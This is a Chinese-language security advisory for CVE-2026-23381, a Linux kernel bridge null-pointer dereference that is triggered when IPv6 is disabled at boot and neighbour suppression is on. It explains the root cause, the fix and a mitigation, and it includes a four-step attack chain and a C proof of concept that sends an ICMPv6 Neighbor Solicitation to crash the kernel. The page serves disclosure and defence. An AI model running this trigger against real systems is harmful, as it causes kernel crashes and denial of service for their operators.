IPBUF安全漏洞报告
English
CVE-2026-23381 CVSS 5.5 中危

CVE-2026-23381 Linux内核桥接模块空指针解引用漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23381
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务空指针解引用CVE-2026-23381网络桥接

漏洞概述

Linux内核网络桥接模块存在空指针解引用漏洞。当系统通过ipv6.disable=1参数启动禁用IPv6时,邻居发现表nd_tbl未被初始化。若此时网桥启用了邻居抑制功能并接收到ICMPv6邻居发现报文,内核会试图访问空的nd_tbl指针。这会导致内核空指针解引用错误,引发系统崩溃或拒绝服务。

技术细节

该漏洞发生在Linux内核的网桥处理逻辑中,涉及IPv6邻居发现协议的处理。当系统以ipv6.disable=1参数启动时,inet6_init()函数会提前退出,导致ndisc_init()从未被调用,因此全局变量ipv6_stub->nd_tbl保持为NULL状态。然而,原有代码使用了编译时宏IS_ENABLED(IPV6)而非运行时检查,导致br_do_suppress_nd()在IPv6运行时被禁用的情况下仍会被调用。当网桥收到ICMPv6邻居发现数据包时,该函数会将NULL指针传递给neigh_lookup(),触发内核空指针解引用(Kernel Oops),导致系统死机或重启。官方修复方案是将调用处的检查替换为ipv6_mod_enabled(),从而在IPv6模块未加载时正确跳过邻居抑制逻辑。

攻击链分析

STEP 1
步骤1: 环境配置
攻击者确认目标系统使用了ipv6.disable=1参数启动,且内核配置启用了网桥功能和neigh_suppress。
STEP 2
步骤2: 发送特制报文
攻击者向目标网桥接口发送ICMPv6邻居发现(Neighbor Discovery)数据包。
STEP 3
步骤3: 触发漏洞
内核br_do_suppress_nd函数处理该报文,尝试访问未初始化的ipv6_stub->nd_tbl。
STEP 4
步骤4: 系统崩溃
由于访问空指针,触发Kernel Oops,导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23381 * Trigger: Send ICMPv6 Neighbor Discovery packet to bridge interface. * Condition: Kernel booted with ipv6.disable=1 and neigh_suppress enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/icmp6.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in6 src_addr, dst_addr; char packet[128]; struct nd_neighbor_solicit *ns; // Create raw socket sockfd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (sockfd < 0) { perror("socket"); exit(EXIT_FAILURE); } memset(&dst_addr, 0, sizeof(dst_addr)); dst_addr.sin6_family = AF_INET6; // Target the all-nodes multicast address or the bridge IP inet_pton(AF_INET6, "ff02::1", &dst_addr.sin6_addr); // Construct Neighbor Solicitation packet memset(packet, 0, sizeof(packet)); ns = (struct nd_neighbor_solicit *)packet; ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT; ns->nd_ns_hdr.icmp6_code = 0; ns->nd_ns_hdr.icmp6_cksum = 0; // Kernel will calc // Set a target address (arbitrary link-local) inet_pton(AF_INET6, "fe80::1", &ns->nd_ns_target); printf("Sending ICMPv6 Neighbor Solicitation..."); if (sendto(sockfd, packet, sizeof(struct nd_neighbor_solicit), 0, (struct sockaddr *)&dst_addr, sizeof(dst_addr)) < 0) { perror("sendto"); } else { printf("Packet sent. Check for kernel panic/Oops.\n"); } close(sockfd); return 0; }

影响范围

Linux Kernel (Stable Branches)

防御指南

临时缓解措施
在未升级内核前,可以临时禁用网桥的neigh_suppress功能,或者避免在禁用IPv6的系统中使用网桥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表